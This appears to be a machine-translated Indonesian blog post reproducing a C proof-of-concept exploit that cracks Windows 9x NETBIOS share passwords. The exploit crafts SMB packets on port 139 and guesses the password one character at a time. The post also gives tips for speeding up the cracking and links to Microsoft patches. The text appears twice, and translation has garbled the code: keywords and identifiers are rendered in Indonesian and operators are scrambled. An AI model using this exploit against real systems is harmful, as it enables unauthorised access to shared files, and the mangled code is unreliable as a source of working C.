Kerentanan dilaporkan oleh NS FOKUS Co, Ltd NETBIOS password Microsoft Windows 9x's kerentanan verifikasi akan memungkinkan pengguna untuk mengakses file Windows 9x layanan berbagi dengan password perlindungan. Bahkan mereka tidak tahu password.
Ini adalah bukti-of-konsep memanfaatkan kode. Ditulis atas permintaan seorang teman. Saya tidak bertanggung jawab atas apa yang Anda lakukan dengan perangkat lunak ini. Silakan menguji Anda sendiri-satunya sistem.
Kecepatan perbaikan: Gunakan fork () di suatu tempat di kode ... menggunakan 4-5 anak yang baik pilihan. Juga mencoba karakter password dalam rentang [AZ] dan [0-9]. Seringkali cukup. Kode ini menggunakan semua 256 karakter.
Windows NT 4.0 dan 2K TIDAK rentan.
Solusi:
Microsoft Windows 95, 98 dan 98 Edisi Kedua http://download.microsoft.com/download/win98SE/Update/11958/W98/EN-US/273991USA8.EXE Microsoft Windows ME http://download.microsoft.com/download/winme/Update/11958/WinMe/EN-US/273991USAM.EXE
* /
# Include <stdio.h>
# Include <stdlib.h>
# Include <string.h>
# Include <signal.h>
# Include <unistd.h>
# Include <sys/socket.h>
# Include <netinet/in.h>
# Include <netdb.h>
# Include <ctype.h>
# Include <sys/wait.h>
# Include <sys/time.h>
# Define 139 SMBPORT
int sock_connect (* remotehost char, unsigned int port);
lama uid;
berbagi char [100];
char password [100];
smb_packet char [512];
char data [8192]; / / 4 tujuan umum
int request_new_session (kaus kaki int)
{
int i, j = 0, len;
nbname char [100], nbnetform [100], t [2];
session_data char [512];
memset (session_data, 0, sizeof (session_data));
memset (nbname, 0, sizeof (nbname));
memset (nbnetform, 0, sizeof (nbnetform));
for (i = 2; i <strlen (saham) & & saham [i] = '\ \';! i + +) nbname [i-2] = share [i];
len = strlen (nbname);
untuk (i = 0; i <16; i + +)
{
if (i> = len)
{
t [0] = 'C';
t [1] = 'A';
}
lain
{
t [0] = nbname [i] / 16 +65;
t [1] = nbname [i]% 16 +65;
}
nbnetform [j] = t [0];
nbnetform [j +1] = t [1];
j + = 2;
}
/ / Sekarang kita punya nama netbios dalam format jaringan.
session_data [0] = 0x81;
session_data [3] = 0x48;
session_data [4] = 0x20;
memcpy (& session_data [5], nbnetform, j);
session_data [6 + j] = 0x20;
sprintf (nbnetform, "CACACACACACACACACACACACACACACAAA");
memcpy (& session_data [7 + j], nbnetform, 32);
if (send (kaus kaki, session_data, 37 + j, 0) ==- 1) return -1;
memset (data, 0, sizeof (data));
if (recv (kaus kaki, data, 8192, 0) ==- 1) return -1;
/ / Dapatkan uid untuk digunakan
uid = data [33] * 256 + data [32]; / / 32th menunjukkan nilai yang lebih rendah, nilai 33th menunjukkan nilai yang lebih tinggi
return data [0];
}
samba_session int (int kaus kaki, login char *, char * password)
{
int lp_len, lp_raw_len, LPA, LPB, lpra, lprb, pass_len, pass_lena, pass_lenb;
lpdata char [8192]; / / berharap cukup ruang. anyway siapa yang peduli ...
lp_raw_len = strlen (login) + strlen (password) +2;
lp_len = +55 lp_raw_len;
lpra = lp_raw_len/256; / / dibagi dengan 256 untuk menghitung nilai yang lebih tinggi
lprb =% lp_raw_len 256; / / sisanya akan nilai yang lebih rendah
LPA = lp_len/256; / / dibagi dengan 256 untuk menghitung nilai yang lebih tinggi
LPB =% lp_len 256; / / sisanya akan nilai yang lebih rendah
pass_len +1 = strlen (password);
pass_lena = pass_len/256;
pass_lenb =% pass_len 256;
memset (lpdata, 0, sizeof (lpdata));
lpdata [2] = LPA; lpdata [3] LPB =;
lpdata [4] = 0xFF; lpdata [5] 0x53 =;
lpdata [6] = 0x4d; lpdata [7] = 0x42;
lpdata [8] = 0x73; lpdata [13] = 0x18;
lpdata [14] = 0x01; lpdata [15] = 0x20;
lpdata [31] = 0x28; lpdata [36] = 0x0a;
lpdata [37] = 0xFF; lpdata [41] = 0x04;
lpdata [42] = 0x11; lpdata [43] = 0x02;
lpdata [51] pass_lenb =; lpdata [52] = pass_lena;
lpdata [57] = lprb; lpdata [58] = lpra;
memcpy (& lpdata [59], password, strlen (password));
memcpy (& lpdata [60 + strlen (password)], login, strlen (login));
if (send (kaus kaki, lpdata, strlen (password) + strlen (login) +61, 0) ==- 1) return -1;
if (recv (kaus kaki, lpdata, 1024, 0) ==- 1) return -1;
kembali (lpdata [9]);
}
void build_crafted_smb_packet (* remoteshare char, remotepassword char *)
{
memset (smb_packet, 0, sizeof (smb_packet));
smb_packet [4] = '\ xff';
smb_packet [5] 'S' =;
smb_packet [6] 'M' =;
smb_packet [7] 'B' =;
smb_packet [8] 'u' =;
smb_packet [13] = '\ X18';
smb_packet [14] = '\ x01';
smb_packet [15] = '';
smb_packet [31] = '\ x28';
smb_packet [32] =% uid 256;
smb_packet [33] = uid/256;
smb_packet [36] = '\ x04';
smb_packet [37] = '\ xff';
smb_packet [43] = strlen (remotepassword); / / jumlah byte yang kita ingin sisi remote untuk konfirmasi. kita menetapkan aturan ... muhahahaha
smb_packet [45] = strlen (remotepassword) + strlen (remoteshare) +1;
memcpy (& smb_packet [47], remotepassword, strlen (remotepassword));
memcpy (& smb_packet [47 + strlen (remotepassword)], remoteshare, strlen (remoteshare));
smb_packet [48 + strlen (remotepassword) + strlen (remoteshare)] = '\ x41';
smb_packet [49 + strlen (remotepassword) + strlen (remoteshare)] = '\ x3A';
/ / Menghitung dan menambah panjang
smb_packet [3] = strlen (remotepassword) + strlen (remoteshare) 47;
}
int main (int argc, char * argv [])
{
kaus kaki int, i, len = 1, dilakukan = 0;
struct sockaddr_in dosa;
struct * hostent hp;
printf ("Windows \ nMicrosoft 9x NETBIOS remote password cracker Ditulis oleh Melih SARICA \ ne-Mail: melihsar@yahoo.com, msarica@bilgiteks.com \ n..");
printf ("Saya tidak bertanggung jawab atas apa yang Anda lakukan dengan perangkat lunak ini \ sistem uji nHarap Anda sendiri hanya \ n \ n..");
jika (argc! = 3)
{
printf ("penggunaan:% s remoteshare hostname \ n", argv [0]);
printf ("hostname: Target host (ex: 127.0.0.1) \ nremoteshare: Target saham (ex: / / korban / c) \ n \ n");
exit (1);
}
strncpy (saham, argv [2], 100);
untuk (i = 0; i <strlen (saham); i + +)
jika (berbagi [i ]=='/') saham [i] = '\ \';
lain saham [i] = toupper (berbagi [i]);
(Argv [1]) hp = gethostbyname;
if (hp == NULL) return -1;
memset ((char *) & dosa, 0, sizeof (dosa));
bcopy (h_addr hp->, (char *) & sin.sin_addr, h_length hp->);
sin.sin_family = h_addrtype hp->;
sin.sin_port = htons (SMBPORT);
kaus kaki = socket (AF_INET, SOCK_STREAM, 0);
jika (kaus kaki ==- 1)
{
printf ("Tidak dapat membuat soket \ n.");
return -1;
}
if (connect (sock, (struct sockaddr *) & sin, sizeof (dosa ))==- 1)
{
printf ("Tidak dapat terhubung \ n.");
exit (0);
}
if (request_new_session (kaus kaki) = 0xffffff82!) / / thats i cara seperti itu
{
printf ("Error: Tidak dapat membuat sesi \ n.");
return (0);
}
if (samba_session (kaus kaki, "31337", "")!= 0)
{
printf ("Error: Tidak dapat membuat sesi login \ n.");
return (0);
}
memset (password, 0, sizeof (password));
printf ("Tunggu beberapa detik ... (password panjang memakan waktu beberapa menit pada modem 56K) \ n.");
sementara (dilakukan == 0)
{
for (i = 1; i <= 255; i + +)
{
sandi [len-1] = i;
/ / Membangun packet
build_crafted_smb_packet (saham, password);
if (send (kaus kaki, smb_packet, strlen (saham) + strlen (password) 51, 0) ==- 1)
{
printf ("Error: Tidak dapat mengirim data \ n.");
return (0);
}
memset (data, 0, sizeof (data));
if (recv (kaus kaki, data, 8192, 0) ==- 1)
{
printf ("Error: Tidak dapat menerima data \ n.");
return (0);
}
if (data [9] == 0)
{
printf ("-%> c \ n", i);
break;
}
lain
jika (i == 255)
{
jika (len! = 1) dilakukan = 1;
lain dilakukan = 2;
sandi [len-1] = 0;
break;
}
}
len + +;
}
jika (dilakukan == 1) printf ("Password retak PASSWORD: \."% s \ "\ n", password);
lain printf ("Tidak dapat crack password \ n.");
dekat (kaus kaki);
return 0;
}
Ini adalah bukti-of-konsep memanfaatkan kode. Ditulis atas permintaan seorang teman. Saya tidak bertanggung jawab atas apa yang Anda lakukan dengan perangkat lunak ini. Silakan menguji Anda sendiri-satunya sistem.
Kecepatan perbaikan: Gunakan fork () di suatu tempat di kode ... menggunakan 4-5 anak yang baik pilihan. Juga mencoba karakter password dalam rentang [AZ] dan [0-9]. Seringkali cukup. Kode ini menggunakan semua 256 karakter.
Windows NT 4.0 dan 2K TIDAK rentan.
Solusi:
Microsoft Windows 95, 98 dan 98 Edisi Kedua http://download.microsoft.com/download/win98SE/Update/11958/W98/EN-US/273991USA8.EXE Microsoft Windows ME http://download.microsoft.com/download/winme/Update/11958/WinMe/EN-US/273991USAM.EXE
* /
# Include <stdio.h>
# Include <stdlib.h>
# Include <string.h>
# Include <signal.h>
# Include <unistd.h>
# Include <sys/socket.h>
# Include <netinet/in.h>
# Include <netdb.h>
# Include <ctype.h>
# Include <sys/wait.h>
# Include <sys/time.h>
# Define 139 SMBPORT
int sock_connect (* remotehost char, unsigned int port);
lama uid;
berbagi char [100];
char password [100];
smb_packet char [512];
char data [8192]; / / 4 tujuan umum
int request_new_session (kaus kaki int)
{
int i, j = 0, len;
nbname char [100], nbnetform [100], t [2];
session_data char [512];
memset (session_data, 0, sizeof (session_data));
memset (nbname, 0, sizeof (nbname));
memset (nbnetform, 0, sizeof (nbnetform));
for (i = 2; i <strlen (saham) & & saham [i] = '\ \';! i + +) nbname [i-2] = share [i];
len = strlen (nbname);
untuk (i = 0; i <16; i + +)
{
if (i> = len)
{
t [0] = 'C';
t [1] = 'A';
}
lain
{
t [0] = nbname [i] / 16 +65;
t [1] = nbname [i]% 16 +65;
}
nbnetform [j] = t [0];
nbnetform [j +1] = t [1];
j + = 2;
}
/ / Sekarang kita punya nama netbios dalam format jaringan.
session_data [0] = 0x81;
session_data [3] = 0x48;
session_data [4] = 0x20;
memcpy (& session_data [5], nbnetform, j);
session_data [6 + j] = 0x20;
sprintf (nbnetform, "CACACACACACACACACACACACACACACAAA");
memcpy (& session_data [7 + j], nbnetform, 32);
if (send (kaus kaki, session_data, 37 + j, 0) ==- 1) return -1;
memset (data, 0, sizeof (data));
if (recv (kaus kaki, data, 8192, 0) ==- 1) return -1;
/ / Dapatkan uid untuk digunakan
uid = data [33] * 256 + data [32]; / / 32th menunjukkan nilai yang lebih rendah, nilai 33th menunjukkan nilai yang lebih tinggi
return data [0];
}
samba_session int (int kaus kaki, login char *, char * password)
{
int lp_len, lp_raw_len, LPA, LPB, lpra, lprb, pass_len, pass_lena, pass_lenb;
lpdata char [8192]; / / berharap cukup ruang. anyway siapa yang peduli ...
lp_raw_len = strlen (login) + strlen (password) +2;
lp_len = +55 lp_raw_len;
lpra = lp_raw_len/256; / / dibagi dengan 256 untuk menghitung nilai yang lebih tinggi
lprb =% lp_raw_len 256; / / sisanya akan nilai yang lebih rendah
LPA = lp_len/256; / / dibagi dengan 256 untuk menghitung nilai yang lebih tinggi
LPB =% lp_len 256; / / sisanya akan nilai yang lebih rendah
pass_len +1 = strlen (password);
pass_lena = pass_len/256;
pass_lenb =% pass_len 256;
memset (lpdata, 0, sizeof (lpdata));
lpdata [2] = LPA; lpdata [3] LPB =;
lpdata [4] = 0xFF; lpdata [5] 0x53 =;
lpdata [6] = 0x4d; lpdata [7] = 0x42;
lpdata [8] = 0x73; lpdata [13] = 0x18;
lpdata [14] = 0x01; lpdata [15] = 0x20;
lpdata [31] = 0x28; lpdata [36] = 0x0a;
lpdata [37] = 0xFF; lpdata [41] = 0x04;
lpdata [42] = 0x11; lpdata [43] = 0x02;
lpdata [51] pass_lenb =; lpdata [52] = pass_lena;
lpdata [57] = lprb; lpdata [58] = lpra;
memcpy (& lpdata [59], password, strlen (password));
memcpy (& lpdata [60 + strlen (password)], login, strlen (login));
if (send (kaus kaki, lpdata, strlen (password) + strlen (login) +61, 0) ==- 1) return -1;
if (recv (kaus kaki, lpdata, 1024, 0) ==- 1) return -1;
kembali (lpdata [9]);
}
void build_crafted_smb_packet (* remoteshare char, remotepassword char *)
{
memset (smb_packet, 0, sizeof (smb_packet));
smb_packet [4] = '\ xff';
smb_packet [5] 'S' =;
smb_packet [6] 'M' =;
smb_packet [7] 'B' =;
smb_packet [8] 'u' =;
smb_packet [13] = '\ X18';
smb_packet [14] = '\ x01';
smb_packet [15] = '';
smb_packet [31] = '\ x28';
smb_packet [32] =% uid 256;
smb_packet [33] = uid/256;
smb_packet [36] = '\ x04';
smb_packet [37] = '\ xff';
smb_packet [43] = strlen (remotepassword); / / jumlah byte yang kita ingin sisi remote untuk konfirmasi. kita menetapkan aturan ... muhahahaha
smb_packet [45] = strlen (remotepassword) + strlen (remoteshare) +1;
memcpy (& smb_packet [47], remotepassword, strlen (remotepassword));
memcpy (& smb_packet [47 + strlen (remotepassword)], remoteshare, strlen (remoteshare));
smb_packet [48 + strlen (remotepassword) + strlen (remoteshare)] = '\ x41';
smb_packet [49 + strlen (remotepassword) + strlen (remoteshare)] = '\ x3A';
/ / Menghitung dan menambah panjang
smb_packet [3] = strlen (remotepassword) + strlen (remoteshare) 47;
}
int main (int argc, char * argv [])
{
kaus kaki int, i, len = 1, dilakukan = 0;
struct sockaddr_in dosa;
struct * hostent hp;
printf ("Windows \ nMicrosoft 9x NETBIOS remote password cracker Ditulis oleh Melih SARICA \ ne-Mail: melihsar@yahoo.com, msarica@bilgiteks.com \ n..");
printf ("Saya tidak bertanggung jawab atas apa yang Anda lakukan dengan perangkat lunak ini \ sistem uji nHarap Anda sendiri hanya \ n \ n..");
jika (argc! = 3)
{
printf ("penggunaan:% s remoteshare hostname \ n", argv [0]);
printf ("hostname: Target host (ex: 127.0.0.1) \ nremoteshare: Target saham (ex: / / korban / c) \ n \ n");
exit (1);
}
strncpy (saham, argv [2], 100);
untuk (i = 0; i <strlen (saham); i + +)
jika (berbagi [i ]=='/') saham [i] = '\ \';
lain saham [i] = toupper (berbagi [i]);
(Argv [1]) hp = gethostbyname;
if (hp == NULL) return -1;
memset ((char *) & dosa, 0, sizeof (dosa));
bcopy (h_addr hp->, (char *) & sin.sin_addr, h_length hp->);
sin.sin_family = h_addrtype hp->;
sin.sin_port = htons (SMBPORT);
kaus kaki = socket (AF_INET, SOCK_STREAM, 0);
jika (kaus kaki ==- 1)
{
printf ("Tidak dapat membuat soket \ n.");
return -1;
}
if (connect (sock, (struct sockaddr *) & sin, sizeof (dosa ))==- 1)
{
printf ("Tidak dapat terhubung \ n.");
exit (0);
}
if (request_new_session (kaus kaki) = 0xffffff82!) / / thats i cara seperti itu
{
printf ("Error: Tidak dapat membuat sesi \ n.");
return (0);
}
if (samba_session (kaus kaki, "31337", "")!= 0)
{
printf ("Error: Tidak dapat membuat sesi login \ n.");
return (0);
}
memset (password, 0, sizeof (password));
printf ("Tunggu beberapa detik ... (password panjang memakan waktu beberapa menit pada modem 56K) \ n.");
sementara (dilakukan == 0)
{
for (i = 1; i <= 255; i + +)
{
sandi [len-1] = i;
/ / Membangun packet
build_crafted_smb_packet (saham, password);
if (send (kaus kaki, smb_packet, strlen (saham) + strlen (password) 51, 0) ==- 1)
{
printf ("Error: Tidak dapat mengirim data \ n.");
return (0);
}
memset (data, 0, sizeof (data));
if (recv (kaus kaki, data, 8192, 0) ==- 1)
{
printf ("Error: Tidak dapat menerima data \ n.");
return (0);
}
if (data [9] == 0)
{
printf ("-%> c \ n", i);
break;
}
lain
jika (i == 255)
{
jika (len! = 1) dilakukan = 1;
lain dilakukan = 2;
sandi [len-1] = 0;
break;
}
}
len + +;
}
jika (dilakukan == 1) printf ("Password retak PASSWORD: \."% s \ "\ n", password);
lain printf ("Tidak dapat crack password \ n.");
dekat (kaus kaki);
return 0;
}
0 komentar:
Posting Komentar